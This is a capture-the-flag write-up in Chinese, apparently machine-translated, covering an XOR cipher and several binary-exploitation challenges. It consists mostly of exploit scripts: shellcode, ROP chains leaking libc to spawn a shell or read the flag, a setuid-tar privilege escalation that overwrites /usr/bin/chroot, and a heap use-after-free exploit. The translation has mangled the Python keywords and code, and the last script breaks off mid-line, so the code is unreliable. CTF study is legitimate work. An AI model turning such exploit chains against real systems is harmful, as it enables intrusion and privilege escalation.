发布于2025年12月5日12月5日 加密货币 异或 1.开放环境是一串字符,可以使用异或脚本或在线解码工具进行解码(只能加密一次) 关键模仿 解密得到flag 在线解密 或者脚本: # Ciphertext ciphertext='0b050c0e180e585f5c52555c5544545c0a0f44535f0f5e445658595844050f5d0f0f55590c555e5a0914' # 将十六进制字符串转换为字节ciphertext_bytes=bytes.fromhex(ciphertext)# 假设密钥为'Key',可以根据需要更改密钥key=b'mimic'# 异或解密密文plaintext_bytes=bytes([a ^ b for a, b in zip(ciphertext_bytes, key * (len(ciphertext_bytes) //len(key) + 1))])# 将解密后的字节转换为字符串plaintext=plaintext_bytes.decode('utf-8')print(plaintext) 攻击 ezcode json的直接shellcode集合,限制长度0x16,先在0x16字节内实现mprotect+read,然后写入orw_shellcode 从pwn 导入* 导入json 上下文(log_level='调试',os='linux',arch='amd64') pwnfile='./漏洞' io=进程(pwnfile) #io=远程() elf=ELF(pwnfile) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') #libc=ELF('./libc.so.6') 外壳代码=''' 萨尔埃迪,12 movdx,7 移动斧头,10 系统调用 CDQ 异或eax,eax 移动ESI,ECX 异或edi,edi 系统调用 ''' shellcode1=asm(shellcode) print('len--',len(shellcode1)) 有效负载1={ 'shellcode': shellcode1.hex() } io.sendlineafter('请输入您的输入:',json.dumps(payload1)) shellcode=asm(''' mov rdi,0x999800d 索雷西,ESI 异或rdx,rdx 移动rax,2 系统调用 mov rdi,rax 移动RSI,0x9998000+0x300 移动edx,0x40 异或eax,eax 系统调用 移动edi,1 移动RSI,0x9998000+0x300 移动rax,1 系统调用 ''') io.sendline(b'./flag\x00\x00\x00'+shellcode) io.interactive() signin_revenge 堆栈溢出,没有饼图,没有金丝雀,构造ROP泄漏地址然后orw 从pwn 导入* 上下文(log_level='调试',os='linux',arch='amd64') pwnfile='./漏洞' #io=进程(pwnfile) io=remote('pwn-16255a8951.challenge.xctf.org.cn', 9999, ssl=True) elf=ELF(pwnfile) libc=ELF('./libc.so.6') def 调试(): gdb.attach(io) 暂停() pop_rdi=0x0000000000401393 put_got=elf.got['puts'] puts_plt=elf.plt['puts'] main_adr=elf.symbols['main'] #调试() 工资=b'a'*0x108+flat(pop_rdi,puts_got,puts_plt,main_adr) io.sendlineafter('让我们移动并pwn!\n',pay) put_adr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) libc_base=puts_adr-libc.sym['puts'] pop_rdx=libc_base +0x0000000000142c92 pop_rsi=libc_base +0x000000000002601f pop_rbp=libc_base +0x00000000000226c0 pop_rax=libc_base +0x0000000000036174 离开_ret=0x4012EE 读取=0x04012D6 #0x130 bss=0x404000+0x800 flag_adr=bss+0x98 op=libc_base + libc.symbols['open'] re=libc_base + libc.symbols['read'] wr=libc_base + libc.symbols['write'] 工资=b'a'*0x100+p64(bss-8)+flat(pop_rax,bss,read) io.sendafter('让我们移动并pwn!\n',pay) #调试() orw=平(pop_rdi,flag_adr,pop_rsi,0,op, pop_rdi,3,pop_rsi,flag_adr+0x200,pop_rdx,0x100,re, pop_rdi,1,pop_rsi,flag_adr+0x200,pop_rdx,0x40,wr)+b'./flag\x00' io.sendline(orw) io.interactive() QWEN 可以向memu 指针写入越界,以及0x20 字节。 然后利用后门读取/proc/self/maps获取内存信息,通过libc_base获取两个gadget 0x000000000004ee21 : 弹出rdx;添加rsp,0x38;弹出rbx;弹出rbp;雷特 0x00000000000d10be : 异或eax, eax;添加rsp,8;雷特 劫持菜单指针来弹出rdx;添加rsp,0x38;弹出rbx;弹出rbp; ret,跳转到read写入的0x20字节处,执行system(“/bin/sh”),获取shell 经验值 从pwn 导入* def 调试(c=0): 如果(c): gdb.attach(p, c) 否则: gdb.attach(p) 暂停() def get_sb() : 返回libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) #------------------------------------------------------------------------------------------------------------------------ s=lambda 数据: p.send(data) sa=lambda 文本,数据:p.sendafter(文本,数据) sl=lambda 数据:p.sendline(数据) sla=lambda 文本,数据:p.sendlineafter(文本,数据) r=lambda num=4096 :p.recv(num) rl=lambda 文本:p.recvuntil(text) pr=lambda num=4096 :print(p.recv(num)) 间=lambda :p.interactive() l32=lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64=lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32=lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64=lambda :u64(p.recv(6).ljust(8,b'\x00')) int16=lambda 数据:int(数据,16) lg=lambda s, num :p.success('%s -0x%x' % (s, num)) #------------------------------------------------------------------------------------------------------------------------ 上下文(os='linux',arch='amd64',log_level='调试') p=远程('pwn-bc7e9f0275.challenge.xctf.org.cn', 9999, ssl=True) #p=进程('pwn1') elf=ELF('pwn1') libc=ELF('libc.so.6') #debug('b *$rebase(0x1022)\n') 对于范围(5): 内的i sla(b'\xbc\x89\xef\xbc\x9a', str(i) + '0') pl=b'a'*0x8 + p16(0x1508) sa(b'说?', pl) sla(b'游戏[Y/N]', b'N') sla(b'\xbc\x89\xef\xbc\x9a','111 111') sla(b'管理员密钥\n', str(0x6b8b4567)) file_name=b'/proc/self/maps' sla(b'已登录!\n', file_name) rl(b'调试信息如下\n') pro_base=int(r(12), 16) rl(b'libc.so.6\n') libc_base=int(r(12), 16) -0x1e7000 lg('pro_base', pro_base) lg('libc_base', libc_base) 对于范围(5): 内的i sla(b'\xbc\x89\xef\xbc\x9a', str(i) + '0') #0x000000000004ee21 : 弹出rdx ;添加rsp,0x38 ;弹出rbx ;弹出rbp ;雷特 #0x00000000000d10be : 异或eax, eax ;添加rsp, 8 ;雷特 rdi=libc_base +0x000000000002164f 系统,binsh=get_sb() ret=libc_base +0x00000000000008aa one_gadget=libc_base +0x000000000004ee21 pl=p64(libc_base +0x00000000000d10be) + p64(one_gadget) + p64(ret) + p64(rdi) + p64(binsh) + p64(系统) sa(b'说?', pl) sla(b'游戏[Y/N]', b'N') sla(b'\xbc\x89\xef\xbc\x9a','111 111111111111111111111') lg('pro_base', pro_base) lg('libc_base', libc_base) #暂停() inter() 然后权限升级。 目标机上的pwn2可以进行tar解压,并且有s权限。如果-x指向一个不存在的文件,它可以创建并解压缩该文件。使用该函数伪造tar并解压并覆盖文件。 例如 /home/pwn2 -x test.tar 会要求base64,只需输入本地生成的tar包即可。 由于docker提问中通常使用xinetd,而查看xinetd的配置文件,是使用/usr/bin/chroot来切换root为ctf用户的,所以将/usr/bin/chroot修改为chmox 777 /home/ctf/flag,并使用另一个终端nc触发chroot指针,然后将flag权限修改为读取即可 登录 add函数中有0_o函数,与signin_revenge是同样的堆栈溢出。你可以用它来击中orw 从pwn 导入* 导入ctypes 从ctypes 导入* 上下文(arch='amd64',os='linux',log_level='调试') 文件名='./vuln' libc=ELF('./libc.so.6') #libc=ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6') #libc.srand.argtypes=[ctypes.c_uint] li=lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m') ll=lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m') #context.terminal=['tmux','splitw','-h'] 调试=1 如果调试: r=远程('pwn-c9b9d9e4e9.challenge.xctf.org.cn', 9999, ssl=True) 否则: r=进程(文件名) libcc=cdll.LoadLibrary('./libc.so.6') libcc.srand(libcc.time(0)) elf=ELF(文件名) def dbg(): gdb.attach(r) 暂停() def dbgg(): 原始输入() r.send('rbp') 对于范围(100): 内的i a=libcc.rand()%100+1 r.sendafter('请输入验证码:\n',p64(a)) r.sendafter('\n', p32(1)) #dbg() r.sendafter('Index: \n', p32(0)) r.sendafter('Note: \n', b'a'*0x10) 睡眠(0.5) r.send(b'a'*0x108+p64(0x401893)+p64(0x404028)+p64(0x401110)+p64(0x4013C0)) libc_base=u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts'] openn=libc_base+libc.sym['打开'] 读取=libc_base+libc.sym['读取'] 写=libc_base+libc.sym['写'] rdi=libc_base +0x0000000000023b6a rsi=libc_base +0x000000000002601f rdx=libc_base +0x0000000000142c92 打印(十六进制(libc_base)) r.send(b'a'*0x108+p64(rsi)+p64(0x404180)+p64(读)+p64(0x4013C0)) r.send('标志') 睡眠(0.5) r.send(b'a'*0x100+p64(0x404200)+p64(0x4013CF)) 睡眠(0.5) r.send(b'a'*0x100+p64(0x404300)+p64(0x4013CF)) 睡眠(0.5) #dbg() r.send(b'flag\x00\x00\x00\x00'+p64(rdi)+p64(0x404200)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(openn) +p64(rdi)+p64(3)+p64(rsi)+p64(0x4041a0)+p64(rdx)+p64(0x30)+p64(读)+p64(rdi)+p64(1)+p64(写)) r.interactive() 留言簿 菜单堆栈程序中有uaf,并且应用程序大小限制为0x4ff 或以上。没有其他限制,所以只需安装板子并运行苹果之家 从pwn 导入* 导入系统 context.log_level='调试' context.arch='amd64' #libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') libc=ELF('./libc.so.6') 标志=1 如果标志: p=远程('pwn-ca43b7414f.challenge.xctf.org.cn', 9999, ssl=True) 否则: p=进程('./pwn') sa=lambda s,n : p.sendafter(s,n) sla=lambda s,n : p.sendlineafter(s,n) sl=lambda s : p.sendline(s) sd=lambda s : p.send(s) rc=lambda n : p.recv(n) ru=lambda s : p.recvuntil(s) ti=lambda : p.interactive() 泄漏=lambda 名称,addr :log.success(名称+'---'+hex(addr)) def dbg(): gdb.attach(p) 暂停() def cmd(选择): 茹('') sl(str(选择)) def add(索引,大小): 指令(1) ru('索引') sl(str(索引)) ru('尺寸') sl(str(大小)) def编辑(索引,内容): 命令(2) ru('索引') sl(str(索引)) ru('内容') SD(内容) def 删除(索引): 命令(3) ru('索引') sl(str(索引)) def 显示(索引): 命令(4) ru('索引') sl(str(索引)) 添加(0,0x520) 添加(1,0x500) 添加(2,0x510) 删除(0) 添加(3,0x568) 删除(2) 显示(0) mainarean=u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) libc_base=mainarean-0x21b110 编辑(0,b'A'*0x10) 显示(0) ru(b'A'*0x10) heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x290 编辑(0,p64(主要)*2) free_hook=libc_base+libc.sym['__free_hook'] ogs=[0xe3afe,0xe3b01,0xe3b04] og=libc_base+ogs[1] put_io_all=libc_base + libc.sym['_IO_list_all'] wfile=libc_base + libc.sym['_IO_wfile_jumps'] addr=libc.symbols['puts']+libc_base fake_io_addr=堆基址+0x1720 锁=0x3ed8b0+libc_base pop_rdi=libc_base + next(libc.search(asm('pop rdi;ret;'))) pop_rsi=libc_base + next(libc.search(asm('pop rsi;ret;'))) pop_rdx_r12=libc_base + next(libc.search(asm('pop rdx;pop r12;ret;'))) r12=libc_ba
创建帐户或登录后发表意见